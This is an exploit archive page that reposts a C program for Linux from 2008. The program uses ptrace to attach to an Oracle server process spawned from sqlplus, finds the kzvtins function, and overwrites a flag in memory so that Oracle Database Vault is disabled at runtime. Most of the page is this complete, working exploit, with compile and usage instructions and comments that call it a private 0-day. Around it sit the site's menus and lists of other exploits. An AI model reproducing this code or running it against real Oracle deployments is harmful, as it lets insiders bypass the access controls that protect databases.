首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Oracle Database Vault ptrace(2) Privilege Escalation Exploit
来源:jakub.wartak@gmail.com 作者:Jakub 发布时间:2008-11-21  
/*
* original release: http://vnull.pcnet.com.pl/blog/?p=92
*
* ora_dv_mem_off.c version 0x1
* ORACLE Database Vault runtime disabler (x86_32 Linux only)
* AKA give_back_the_freedom
* by Jakub 'vnull' Wartak <jakub.wartak@gmail.com> 26.02.2008
* 0-day PRIVATE! D0 N0T DI$TRIBUT3!
*
* Tested on 10.2.0.3, CentOS 5.
* For other architectures/OS combos consider having fun with gdb ;]
*
* Whole Database Vault architecture is flawed if DBA has access to
* oracle user process space. IMHO you could limit risk by creating
* UNIX accounts for DBAs with membership of OSDBA group (along with
* oracle SUID binary and shared memory with only read permission
* for OSDBA group [check SHM privs: ipcs -cm] ). But how those DBAs
* would cope with some serious crashes (requiring for e.g. restoring
* controlfile) ?
*
* Usage:
* Set enviorniment variables: ORACLE_BASE, ORACLE_SID, ORACLE_HOME
* $ gcc -Wall ora_dv_mem_off.c -o ora_dv_mem_off -lbfd -liberty
* $ ./ora_dv_mem_off
*
* REQUIEREMENTS:
* + run as oracle process owner (by default "oracle")
* + working ptrace(), it won't work in systems with ptrace()
*    disabled (grsecurity and some LKMs).
* + BFD headers and library (binutils-devel)
*
* THE DOCUMENT IS PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND. THE
* CONTENT MAY CHANGE WITHOUT NOTICE. IN NO EVENT SHALL THE AUTHORS BE
* LIABLE FOR ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES, INJURIES,
* LOSSES OR UNLAWFUL OFFENCES.
*
* USE AT OWN RISK!
*
*/
#include <bfd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <linux/user.h>
#include <linux/ptrace.h>
#include <asm/unistd.h> /* for __NR_clone */

/* you may need to alter this */
#define ORABASE  "/u01/app/oracle/product/10.2.0/bin"

/*
* Magic... (at&t syntax)
* push %ebp
* mov %esp, %ebp
* mov <DV_FLAG>, %eax
* [..]
* where DV_FLAG is 32-bit long
*/
#define ASM_DV_FUNC_PROLOG "\x55\x8b\xec\xb8"

const char *sqlplus = ORABASE "/sqlplus";
const char *oracle =  ORABASE "/oracle";
const int long_size = sizeof(long);
pid_t child;

long locate_dv_func(void)
{
asymbol **symbol_table;
bfd *b = bfd_openr(oracle, NULL);
if (b == NULL) {
perror("bfd_openr");
exit(-1);
}

bfd_check_format(b, bfd_object);
long storage_needed = bfd_get_symtab_upper_bound(b);
if(storage_needed < 0) {
fprintf(stderr, "wtf?!\n");
exit(-1);
}

if((symbol_table = (asymbol**)malloc(storage_needed)) == 0) {
perror("malloc");
exit(-1);
}

int num_symbols;
if((num_symbols = bfd_canonicalize_symtab(b, symbol_table)) <= 0) {
fprintf(stderr, "no symbols info\n");
exit(-1);
}

int i;
for(i = 0; i < num_symbols; i++) {
char *symname = bfd_asymbol_name(symbol_table[i]);
void *symaddr = bfd_asymbol_value(symbol_table[i]);
/* don't even ask why this funciton, for real hardcore: gdb -p <oraclePIDs> */
if(!strcmp(symname, "kzvtins")) {
fprintf(stderr, "[%d] symbol \"kzvtins\" at 0x%lx\n", getpid(),
(long) symaddr);
return (long) symaddr;
}
}

return 0;
}

/* from "Playing with ptrace(), part#2, Linux Journal, author: Pradeep Padala */
void getdata(pid_t child, long addr, char *str, int len)
{
char *laddr;
int i, j;
union u {
long val;
char chars[long_size];
} data;
i = 0;
j = len / long_size;
laddr = str;
while(i < j) {
data.val = ptrace(PTRACE_PEEKDATA, child, addr + i * 4, NULL);
memcpy(laddr, data.chars, long_size);
++i;
laddr += long_size;
}
j = len % long_size;
if(j != 0) {
data.val = ptrace(PTRACE_PEEKDATA,child, addr + i * 4,NULL);
memcpy(laddr, data.chars, j);
}
str[len] = '\0';
}

void putdata(pid_t child, long addr, char *str, int len)
{  
char *laddr;
    int i, j;
    union u {
            long val;
            char chars[long_size];
    } data;
    i = 0;
    j = len / long_size;
    laddr = str;
    while(i < j) {
        memcpy(data.chars, laddr, long_size);
        ptrace(PTRACE_POKEDATA, child, addr + i * 4, data.val);
        ++i;
        laddr += long_size;
    }
    j = len % long_size;
    if(j != 0) {
        memcpy(data.chars, laddr, j);
        ptrace(PTRACE_POKEDATA, child, addr + i * 4, data.val);
    }
}

void cleanup(void)
{
int s;
kill(child, SIGKILL);
wait(&s);
}

int main(int ac, char **av)
{
int status;
pid_t orapid = 0;

bfd_init();

if((child = fork()) == -1) {
perror("fork");
exit(-1);
}

if(child == 0) {
if(ptrace(PTRACE_TRACEME, 0, NULL, NULL)==-1) {
perror("unable to ptrace(PTRACE_TRACEME)");
exit(-1);
}

/* launch sqlplus */
if(execl(sqlplus, "sqlplus", "/nolog", NULL)==-1) {
perror("execl");
exit(-1);
}

/* not reached */
exit(0);
}

if(atexit(cleanup) != 0) {
fprintf(stderr, "[%d] unable to register cleanup function\n", getpid());
}

wait(&status);
if(WIFSTOPPED(status)) {
fprintf(stderr, "[%d] starting to trace sqlplus process (%d)\n", getpid(), child);
}

fprintf(stderr, "[***] NOW TYPE IN SQLPLUS: conn / as sysdba\n");

while(!orapid) {
struct user_regs_struct uregs;

ptrace(PTRACE_SYSCALL, child, 0, 0);
wait(&status);
ptrace(PTRACE_GETREGS, child, 0, &uregs);

/* ouch! no fork()? clone()! */
if(uregs.orig_eax==__NR_clone) {
long *regs = 0;

/* fprintf(stderr, "[%d] clone() syscall\n", getpid()); */
ptrace(PTRACE_SYSCALL, child, 0, 0);
wait(&status);
if((orapid = ptrace(PTRACE_PEEKUSER, child, &regs[EAX], 0)) == -1) {
perror("ptrace(PTRACE_PEEKUSER): unable to get clone() retvalue\n");
exit(-1);
}
fprintf(stderr, "[%d] clone() syscall in %d, tracing orapid=%d\n", getpid(),
child, orapid);

/* attach to orapid, detach from sqlplus */
if(ptrace(PTRACE_ATTACH, orapid, 0, 0) == -1) {
perror("ptrace(PTRACE_ATTACH) to orapid");
exit(-1);
}

while(1) {
ptrace(PTRACE_SYSCALL, orapid, 0, 0);
wait(&status);
ptrace(PTRACE_GETREGS, orapid, 0, &uregs);
if(uregs.orig_eax==__NR_execve) {
fprintf(stderr, "[%d] execve() syscall in %d, \n", getpid(), orapid);
/* end ptrace of syscall */
ptrace(PTRACE_SYSCALL, orapid, 0, 0);
break;
} else {
//fprintf(stderr, "got %ld\n", uregs.orig_eax);
ptrace(PTRACE_SYSCALL, orapid, 0, 0);
}
}

if(ptrace(PTRACE_DETACH, child, 0, 0) == -1) {
perror("ptrace(PTRACE_DETACH) from child");
exit(-1);
}

} else if(uregs.orig_eax==__NR_execve) {
fprintf(stderr, "[%d] execve() syscall in %d\n", getpid(), child);
}
}

/* now we have oracle server process under our control :) */
long dv_func = locate_dv_func();
if(dv_func == 0) {
fprintf(stderr, "ERROR: unable to find function\n");
exit(-1);
}
wait(&status);

unsigned char buf[32];
memset(buf, 0, sizeof(buf));
getdata(orapid, dv_func, (char *)&buf, 32);

/* dump opcodes */
/*
    for(i = 0; i < 31; i++) {
fprintf(stderr, "%x ", (unsigned char)buf[i]);
} */

if(!memcmp(buf, ASM_DV_FUNC_PROLOG, strlen(ASM_DV_FUNC_PROLOG))) {
unsigned char dv_status;
unsigned long woff = dv_func + strlen(ASM_DV_FUNC_PROLOG), woff2=woff;

getdata(orapid, woff, (char *)&dv_status, 1);
fprintf(stderr, "[***] sucessfuly validated function, DatabaseVault=%d\n", dv_status);
fprintf(stderr, "[***] attempting to rewrite memory at 0x%lx\n", woff2);

unsigned char my = 0;
putdata(orapid, woff2, (void *)&my, 1);
}

if(ptrace(PTRACE_DETACH, orapid, 0, 0) == -1) {
perror("ptrace(PTRACE_DETACH) from orapid");
exit(-1);
}

wait(&status);
exit(0);
}

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·vBulletin 3.7.3 Visitor Messag
·Discuz! Reset User Password Vu
·PHP-Fusion 7.00.1 (messages.ph
·Microsoft XML Core Services DT
·wPortfolio <= 0.3 Admin Passwo
·linux/x86 setuid(0) & execve(/
·PunBB Mod PunPortal 0.1 Local
·LoveCMS 1.6.2 Final (Simple Fo
·Exodus 0.10 (uri handler) Arbi
·linux/x86 execve(/bin/sh,0,0)
·Portfolio <= 0.3 Remote Arbitr
·linux/x86 connect-back port UD
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved